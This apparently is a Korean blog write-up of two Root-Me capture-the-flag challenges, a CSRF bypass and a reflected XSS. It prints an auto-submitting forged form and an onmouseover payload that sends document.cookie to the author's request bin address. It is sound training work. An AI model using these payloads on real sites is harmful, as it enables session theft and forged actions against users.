1. CSRF- 0 protection
: Activate your account to access intranet. 소스코드를 잘 살펴봐야 풀수 있는 문제 같다.
: 일단 접속하면 register를 하고, 그 아이디 비번으로 로그인을 한다.
: 그 후에 프로필 업데이트 페이지가 뜨는데, private 창으로 가면 admin에 의해 validate가 안됐다고 뜬다.
그래서 일단 validate를 해줘야 할 것 같은데... 어디를 건드려서 csrf를 해야 할지 살펴보기로 했다.
여기저기 찾아보던 중에 status가 클릭되지 않고, submit을 누르면 admin이 아니라는 경고가 뜨는 카테고리를 발견했다. 아마도 이 status를 check상태로 만들어 줘야 하는 모양이다. 소스코드를 살펴보자.
: form이 post 상태로 되어있고, checkbox가 disable되어있다. 이를 check상태로 만들어 주기 위해서는 파라미터 전송방식이 아니라 form을 하나 새로 작성해줘야 할 것 같다.
<body onload="document.csrf.submit();">
<form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="1234">
<input type="checkbox" name="status" checked>
<button type="submit">Submit</button>
</form>
폼을 필요한 부분만 빼서 작성하고,
관리자에게 메일 보내는 칸에 폼을 첨부해서 보낸다. 그러면 관리자가 잠시 후에 확인 할거라는 메세지가 뜬다.
잠깐 기다렸다가 private창으로 가면 플래그를 확인할 수 있다!
=> 저번 미니 ctf때 csrf 실습을 해봐서 그런지 익숙했다. 다른 root-me 문제 보다는 진짜 홈페이지 같아서 실습하기 좋은 것 같다.
2. XSS Reflected
:Find a way to steal the administrator’s cookie.
->이제 web client가 점수가 높아지면서 점점 어려워지는 것 같다..ㅠ.ㅠ
문제에 접속하면 홈페이지가 하나 뜬다.
: 여기서 일단 exploit 지점을 찾기가 힘들었다. 사이트 여기저기 둘러봐도 다 빈 링크이거나 훼이크여서...
그러다가 우선 reflected xss니까 파라미터에 공격을 넣어보기로 했다.
오.. <script>에 링크가 생성된다. 잘 이용하면 공격이 가능할 것 같다.
일단 이렇게 생겼기 때문에, 대충 태그 안을 완성시키면 xss 공격이 가능 할 것 같다.
<a href="?p="> 이렇게 생겼기 때문에, 이 안을 완성시켜줘야 할 것 같다.
그래서 onmouseover 태그를 더해주기로 했다.
<a href="?prices' onmouseover='alert(document.cookie)' "> 이런식으로 href에 포함되는 척하면서 alert 창을 실행시켰더니
->일단 순순히 쿠키가 출력되지는 않았다. 여기서 request bin을 이용해야 했다.
내 홈페이지로 했더니 정보가 출력이 잘안돼서 구글링을 해보다가 찾았는데, 그냥 빈 사이트와 url을 제공해줘서 http 헤 더 정보를 얻거나 cookie를 탈취할때나 쓰기 좋은것 같다.
그리고 onmouseover 속성을 이용해서 +document.cookie도 해보고, concat으로 이어붙여도 보고, location.replace도 써보고... 몇시간을 잡아먹었다.
그 중 성공한 공격내용은 :
' onmouseover=window.location='개인 request bin 주소'.concat(document.cookie)
를 누르고 report를 했더니...
request bin으로 플래그가 날아왔다.. 사실 이렇게 한번에 풀진 못했고 payload를 엄청 많이 조합해봐야 했다.
저 아래 request들이 다 실패의 흔적이다.. 구글링도 엄청 필요했고 몇시간을 잡아먹은 문제.. 상당히 어려웠다.
xss를 색다르게 할 수 있는 방법인 것 같다. 역시 파라미터를 잘 숨기자는 교훈을 얻었다.
'Wargame > Root-Me' 카테고리의 다른 글
Web-client) XSS stored-2 (0) | 2020.03.02 |
---|---|
Web-Server) Server-side Template injection (0) | 2020.02.28 |
Web-Server) php filter, Local file inclusion, register global (0) | 2020.02.22 |
Web-Server) File upload(Null byte), php assert() (0) | 2020.02.19 |
Web-Server) HTTP cookie~ Directory Traversal (0) | 2020.02.16 |